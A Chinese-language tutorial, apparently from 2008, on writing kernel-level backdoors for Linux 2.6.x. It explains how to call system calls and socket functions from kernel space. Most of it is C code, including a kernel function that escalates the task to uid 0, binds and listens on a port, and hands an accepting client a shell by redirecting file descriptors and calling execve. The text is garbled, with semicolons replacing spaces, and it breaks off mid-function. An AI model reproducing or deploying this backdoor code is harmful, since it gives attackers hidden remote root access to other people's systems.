电脑技术学习

抒写Linux 2.6.x下内核级后门程序

dn001
Author:;wzt
EMail:;wzt@xsec.org
Site:;http://www.xsec.org;&;hhtp://hi.baidu.com/wzt85
Date:;2008-8-29

一.;内核后门简介
二.;内核中系统调用
三.;使用kernel;mode;socket函数
四.;如何扩展后门
五.;参考资料
六.;相关源代码

一.;内核后门简介

所谓内核后门,;当然指的是在内核空间中给hacker提供的可远程控制的shell模块喽,;性质跟ring3下的后门一样,只是所有功能都在内核空间实现了而已。其实它跟rootkit的定义基本已经混淆了。有的内核后门不能提供隐藏行为的功;能,有的rookit没有提供远程shell的功能。只有两者互补才能组合成一个功能强的’root-kit’.
本文只介绍2种实现内核后门的基本方法,如果您有更好的方法,还请多多指教。

二.;内核中系统调用

Unix世界中一切皆文件的思想将socket通信变的简单的多,;通常我们直接可以用read,write等api函数作为socket通信的方法,这些api函数最终都会调用kernel提供的sys_XXX系列函;数。平时用到的read等函数早以在c库中封装好了。其实我们可以自己直接向系统发送软中断int;0x80来执行sys_read函数,如:

int;my_read(int;fd,;char;*;buf,;off_t;count)
{
long;__res;

__asm__;volatile;("push;%%ebx;;int;$0x80;;pop;%%ebx"

:;"=a";(__res)
:;"0";(__NR_read),;"ri";((long)(fd),;;;;;"c"((long)(buf),
"d";((long)(count));:"memory");

return;(int)(__res);
}

这里用到了at&t的内嵌汇编程序来实现,;其实就是向eax寄存器中存入具体的系统调用号,ebx,ecx,edx依次存入read函数的参数。最后执行一个int;$0x80陷入内核去执行sys_read.要想在内核空间中实现后门的功能,;就必须调用某些函数来进行socket通信。;本节介绍直接在内核中使用系统调用的方式来和远程用户进行通讯,下一节则介绍直接使用内核socket函数进行通讯。

通过上面的例子,我们明白了如何在用户空间下来使用系统调用。那么上述方法也可以用在内核空间中,这样在内核空间执行系统调用感觉效率会很低,但是对我们来说,编写程序将会非常的方便。著名的sk;rookti就是用这种方式来进行通讯的。

linux内核提供了很多个不同的系统调用,我们需要编写几个宏来方便的使用这些系统调用。比如下面这几个宏:

#define;my__syscall_return(type,;res);/
do;{;/
if;((unsigned;long)(res);>=;(unsigned;long)(-(128;+;1)));{;/
errno;=;-(res);;/
res;=;-1;;/
};/
return;(type);(res);;/
};while;(0)

#define;my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3);/
type;name(type1;arg1,type2;arg2,type3;arg3);/
{;/
long;__res;;/
__asm__;volatile;("push;%%ebx;;;int;$0x80;;;pop;%%ebx";/
:;"=a";(__res);/
:;"0";(__NR_##name),"ri";((long)(arg1)),"c";((long)(arg2)),;/
"d";((long)(arg3));:;"memory");;/
my__syscall_return(type,__res);;/
}

my_syscall3代表这个系统调用有3个参数,以read系统调用为例,我们可以在内核空间中这样使用它:
static;inline;my_syscall3(int,;read,;int,;fd,;char;*,;buf,;off_t,;count);

编译的时候就会被展开成:

int;read(int;fd,;char;*;buf,;off_t;count);;;;/
{;;;;/
long;__res;;;;;;;/

__asm__;volatile;("push;%%ebx;;int;$0x80;;pop;%%ebx"/

:;"=a";(__res);/
:;"0";(__NR_read),;"ri";((long)(fd),;"c"((long)(buf),;/
"d";((long)(count));:"memory");;/

return;(int)(__res);/
}

本文后面将会给出比较全面的宏,通过这些宏,可以在内核中随意的使用系统调用。

好了,现在可以使用read,;write,;select等系统调用在内核空间收发信息了。;但是怎么在内核中使用平时在用户空间下用到的那些socket函数呢?其实这些socket函数都是通过执行sys_socketall系统调用来实现的:

linux-2.6.18/net/socket.c

asmlinkage;long;sys_socketcall(int;call,;unsigned;long;__user;*args)
{
unsigned;long;a[6];
unsigned;long;a0,a1;
int;err;

...

a0=a[0];
a1=a[1];

switch(call)
{
case;SYS_SOCKET:
err;=;sys_socket(a0,a1,a[2]);
break;
case;SYS_BIND:
err;=;sys_bind(a0,(struct;sockaddr;__user;*)a1,;a[2]);
break;
case;SYS_CONNECT:
err;=;sys_connect(a0,;(struct;sockaddr;__user;*)a1,;a[2]);
break;
case;SYS_LISTEN:
err;=;sys_listen(a0,a1);
break;
case;SYS_SOCKETPAIR:
err;=;sys_socketpair(a0,a1,;a[2],;(int;__user;*)a[3]);
break;
case;SYS_SEND:
err;=;sys_send(a0,;(void;__user;*)a1,;a[2],;a[3]);
break;
...
}

通过向sys_socketcall函数2个参数来执行具体的函数调用,参数call一般为SYS_SOCKET,;SYS_BIND等,args是一个数组,通过向这个数组的每个元素赋值,来调用不同的函数。以bind这个函数为例,可以这样调用:

struct;sockaddr_in;cli_addr;
unsigned;long;args[];

args[0];=;sock_fd;
args[1];=;(unsigned;long)cli_addr;
args[2];=;(unsigned;long)sizeof(struct;sockaddr_in);

sys_socketcall(SYS_BIND,;args);

其他函数类似。这样就可以在内核中来使用这些socket函数了。

下面给出一个具体的监听某一个端口的例子:
int;k_listen(int;port)
{
struct;task_struct;*tsk;=;current;
struct;sockaddr_in;serv_addr;
struct;sockaddr_in;cli_addr;
mm_segment_t;old_fs;
char;buff[100];

unsigned;long;arg[3];
int;sock_fd,;sock_id;
int;tmp_kid;
int;i,;n,;cli_len;

old_fs;=;get_fs();

tsk->uid;=;0;
tsk->euid;=;0;
tsk->gid;=;SGID;
tsk->egid;=;0;

/*;create;socket;*/
arg[0];=;AF_INET;
arg[1];=;SOCK_STREAM;
arg[2];=;0;

set_fs(KERNEL_DS);

ssetmask(~0);

for;(i=0;;i;<;4096;;i++)
close(i);

if;((sock_fd;=;socketcall(SYS_SOCKET,;arg));==;-1);{
set_fs(old_fs);

return;0;
}
printk("create;socket;ok./n");

/*;bind;address;*/
memset((void;*);&serv_addr,;0,;sizeof(serv_addr));

serv_addr.sin_family;=;AF_INET;
serv_addr.sin_port;=;htons(port);
serv_addr.sin_addr.s_addr;=;0;

arg[0];=;sock_fd;
arg[1];=;(unsigned;long);&serv_addr;
arg[2];=;(unsigned;long);sizeof(serv_addr);

if;((socketcall(SYS_BIND,;arg));==;-1);{
close(sock_fd);
set_fs(old_fs);

return;0;
}
printk("bind;address;ok./n");

/*;begin;listen;*/
arg[0];=;sock_fd;
arg[1];=;(unsigned;long);255;

if;((socketcall(SYS_LISTEN,;arg));==;-1);{
close(sock_fd);
set_fs(old_fs);

return;0;
}
printk("listen;on;port;%d/n",;port);

cli_len;=;sizeof(cli_addr);
arg[0];=;sock_fd;
arg[1];=;(unsigned;long);&cli_addr;
arg[2];=;(unsigned;long);&cli_len;

if;((sock_id;=;socketcall(SYS_ACCEPT,;arg));==;-1);{
printk("accept;error./n");

close(sock_fd);
set_fs(old_fs);

return;0;
}
printk("accept;a;client./n");

dup2(sock_id,;0);
dup2(sock_id,;1);
dup2(sock_id,;2);

execve(earg[0],;(const;char;**);earg,;(const;char;**);env);

close(sock_id);
close(sock_fd);
set_fs(old_fs);

return;1;
}

三.使用kernel;mode;socket函数

前面考虑到在内核空间使用系统调用会使系统效率有所降低。解决的方法是直接在内核中使用内核socket函数来进行通讯。我们去看看kernel;mode;socket是怎么在内核中实现的,同样在linux-2.6.18/net/socket.c中:

在user;mode;socket中的socket函数的功能是建立个套接字,它是调用sys_socket函数来实现的,因此我们在自己的模块中直接使用它的函数来完成相同的功能.先看下它是怎么实现的:

asmlinkage;long;sys_socket(int;family,;int;type,;int;protocol)
{
int;retval;
struct;socket;*sock;

retval;=;sock_create(family,;type,;protocol,;&sock);
if;(retval;<;0)
goto;out;

retval;=;sock_map_fd(sock);
if;(retval;<;0)
goto;out_release;

out:

return;retval;

out_release:
sock_release(sock);
return;retval;
}

关键就2个函数,sock_create()来初始化一个struct;socket结构体,在用sock_map_fd()来给刚才的socket结构分配一个空闲的文件描述符。;有兴趣的读者可以继续深入这些函数,看看它的具体实现细节。在这里我们只关心最上层的这2个函数。因为我们要在自己的模块中调用它们。同样对于;sys_bind,;sys_listen等,我们用同样的办法来处理。有了源代码,看它们怎么实现,我们就怎么实现。

下面给出一个监听某端口的例子:

int;k_listen(void)
{
struct;socket;*sock,*newsock;
struct;sockaddr_in;server;
struct;sockaddr;client[128];
char;address[128];
int;sockfd,;sockid,;i,size;=;0;
int;error;=;0,len;=;sizeof(struct;sockaddr);

//set_fs(KERNEL_DS);

error;=;sock_create(AF_INET,SOCK_STREAM,0,&sock);
if;(error;<;0);{
printk("[-];socket_create;failed:;%d/n",error);
sock_release(sock);
return;-1;
}

sockfd;=;sock_map_fd(sock);
if;(sockfd;<;0);{
printk("[-];sock_map_fd();failed./n");
sock_release(sock);
return;-1;
}

for;(i;=;0;;i;<;8;;i++)
server.sin_zero[i];=;0;

server.sin_family;=;PF_INET;
server.sin_addr.s_addr;=;INADDR_ANY;
server.sin_port;=;htons(port);

error;=;security_socket_bind(sock,(struct;sockaddr;*)&server,len);
if;(!error);{
error;=;sock->ops->bind(sock,(struct;sockaddr;*)&server,len);

if;(error;<;0);{
printk("[-];unix_bind();failed./n");
sock_release(sock);
return;-1;
}

标签: linux